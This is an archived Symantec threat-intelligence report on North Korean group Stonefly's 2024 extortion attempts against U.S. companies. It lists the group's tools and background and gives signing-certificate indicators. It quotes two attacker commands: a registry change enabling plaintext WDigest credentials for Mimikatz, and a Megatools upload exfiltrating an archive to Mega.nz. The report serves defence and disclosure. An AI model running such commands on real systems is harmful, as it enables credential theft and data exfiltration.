Stonefly: Extortion Attacks Continue Against U.S. Targets

By About the Author

Archived: 2026-04-05 21:19:10 UTC

Symantec's Threat Hunter Team has found evidence that the North Korean Stonefly group (aka Andariel, APT45, Silent Chollima, Onyx Sleet) is continuing to mount financially motivated attacks against organizations in the U.S., despite being the subject of an indictment and a multi-million dollar reward.

Symantec, part of Broadcom, found evidence of intrusions against three different organizations in the U.S. in August of this year, a month after the indictment was published. While the attackers didn't succeed in deploying ransomware on the networks of any of the organizations affected, it is likely that the attacks were financially motivated. All the victims were private companies and involved in businesses with no obvious intelligence value.

Attribution

In several of the attacks, Stonefly's custom malware Backdoor.Preft (aka Dtrack, Valefor) was deployed. This tool is exclusively associated with the group. In addition to this, several Stonefly indicators of compromise recently documented by Microsoft were found on the compromised networks. The attackers used a fake Tableau certificate documented by Microsoft in addition to two other certificates (see Indicators of Compromise) that appear to be unique to this campaign.

Toolset

Preft: Multi-stage backdoor capable of downloading and uploading files, executing commands, and downloading additional plugins. Preft can support multiple plugin types, including executable files, VBS, BAT, and shellcode. It has multiple persistence modes, including Startup_LNK, Service, Registry, and Task Scheduler.

Nukebot: Backdoor capable of executing commands, downloading and uploading files, and taking screenshots. Nukebot has not been associated with Stonefly before; however, its source code was leaked and this is likely how Stonefly obtained the tool.

Batch files: The attackers used a malicious batch file to enable plaintext credentials, modifying the registry to add:

```
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d
1
```

Mimikatz (see below) was then executed to dump credentials.

Mimikatz: Publicly available credential dumping tool. The attackers used a custom variant of the tool that writes harvested credentials to the file C:\Windows\Temp\KB0722.log. A similar custom variant of Mimikatz found on VirusTotal was linked by Mandiant to Stonefly.

Keyloggers: The attackers deployed two distinct keyloggers in their attacks:

- The first (SHA256: 485465f38582377f9496a6c77262670a313d8c6e01fd29a5dbd919b9a40e68d5) was a keylogger capable of stealing data from the clipboard. In addition to this, it logs when a program starts and captures which program's keystrokes are input. Data captured is logged in a file named 0.log, which is archived into a ZIP archive named as a TMP file in the temporary directory with the password Pass@w0rd#384.
- The second (SHA256: d867aaa627389c377a29f01493e9dff517f30db8441bf2ccc8f80c48eaa0bf91) was a keylogger capable of stealing data from the clipboard. It logs stolen data into a randomly named DAT file in the temporary directory.

Sliver: Open-source cross-platform penetration testing framework.

Chisel: Open-source proxy tool. It creates a TCP/UDP tunnel that is transported over HTTP and secured via SSH.

PuTTY: Publicly available SSH client.

Plink: A command-line connection tool for PuTTY

Megatools: A command line client for the Mega.nz cloud storage service. Megatools was used to perform data exfiltration:

```
CSIDL_WINDOWS\temp\mt.exe put -u [REMOVED] -p [REMOVED] CSIDL_WINDOWS\temp\sig.rar /Root
```

Snap2HTML: Publicly available tool that takes snapshots of folder structures on a hard drive and saves them as HTML files.

FastReverseProxy (FRP): Open-sourced tool to expose local servers to the public internet.

Background

On July 25, 2024, the U.S. Justice Department indicted a North Korean man named Rim Jong Hyok on charges related to the attack campaign. Rim is alleged to be a member of the Stonefly group, which is linked to the North Korean military intelligence agency, the Reconnaissance General Bureau (RGB).

He was charged with being involved in extorting U.S. hospitals and other healthcare providers between 2021 and 2023, laundering the ransom proceeds, and then using these proceeds to fund additional cyberattacks against targets in the defense, technology, and government sectors worldwide. Targets of these follow-on attacks included two U.S. Air Force bases, NASA-OIG, and organizations located in Taiwan, South Korea, and China. In addition to the indictment, the U.S. Department of State offered a reward of up to $10 million for information on his location or identification.

Stonefly first came to notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a number of South Korean, U.S. government, and financial websites.

It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an espionage element to its attacks when it was found to be using a sophisticated backdoor Trojan (Backdoor.Prioxer) against selected targets.

In March 2013, the group was linked to the Jokra (Tojan.Jokra) disk-wiping attacks against a number of South Korean banks and broadcasters. Three months later, the group was involved in a string of DDoS attacks against South Korean government websites.

In recent years, the group's capabilities have grown markedly and, since at least 2019, Symantec has seen its focus shift mainly to espionage operations against select, high-value targets. It appears to specialize in targeting organizations that hold classified or highly sensitive information or intellectual property. While other North Korean groups are well known for mounting financial attacks driven by the need to raise foreign currency for the regime, Stonefly had until recent years appeared not to be involved in financially motivated attacks.

Undeterred

While Stonefly's move into financially motivated attacks is a relatively recent development, the spotlight shone on the group's activities due to the indictment naming one of its members has not yet led to a cessation of activity. The group is likely continuing to attempt to mount extortion attacks against organizations in the U.S.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Certificate 1

```
thumbprint = "313cffaac3d1576ca3c1cee8f9a68a15a24ff418"
issuer = "/CN=Baramundi Inc."
subject = "/CN=Baramundi Inc."
version = 3
algorithm = "sha1WithRSA"
algorithm_oid = "1.3.14.3.2.29"
serial = "af:6d:f9:f9:69:86:58:80:49:1e:2b:ae:20:9f:0d:12"
not_before = 1683852503
not_after = 2208988799
verified = 1
digest_alg = "sha1"
digest = "efe03d9be2cd148594e5fcb7272a40b85e33d2bf"
file_digest = "efe03d9be2cd148594e5fcb7272a40b85e33d2bf"
number_of_certificates = 1
```

Certificate 2

```
thumbprint = "10b8b939400a59d2cb79fff735796d484394f8dd"
issuer = "/CN=VEXIS SOFTWARE LTD."
subject = "/CN=VEXIS SOFTWARE LTD."
version = 3
algorithm = "sha1WithRSA"
algorithm_oid = "1.3.14.3.2.29"
```

```
serial = "bc:bf:05:4e:a8:b2:69:be:4c:c9:04:f0:8d:f9:eb:97"
not_before = 1710348691
not_after = 2208988799
verified = 1
digest_alg = "sha1"
digest = "b9b5d20438cf54acf33ee5731dc283554b8a044c"
file_digest = "b9b5d20438cf54acf33ee5731dc283554b8a044c"
number_of_certificates = 1
```

Source: https://www.security.com/threat-intelligence/stonefly-north-korea-extortion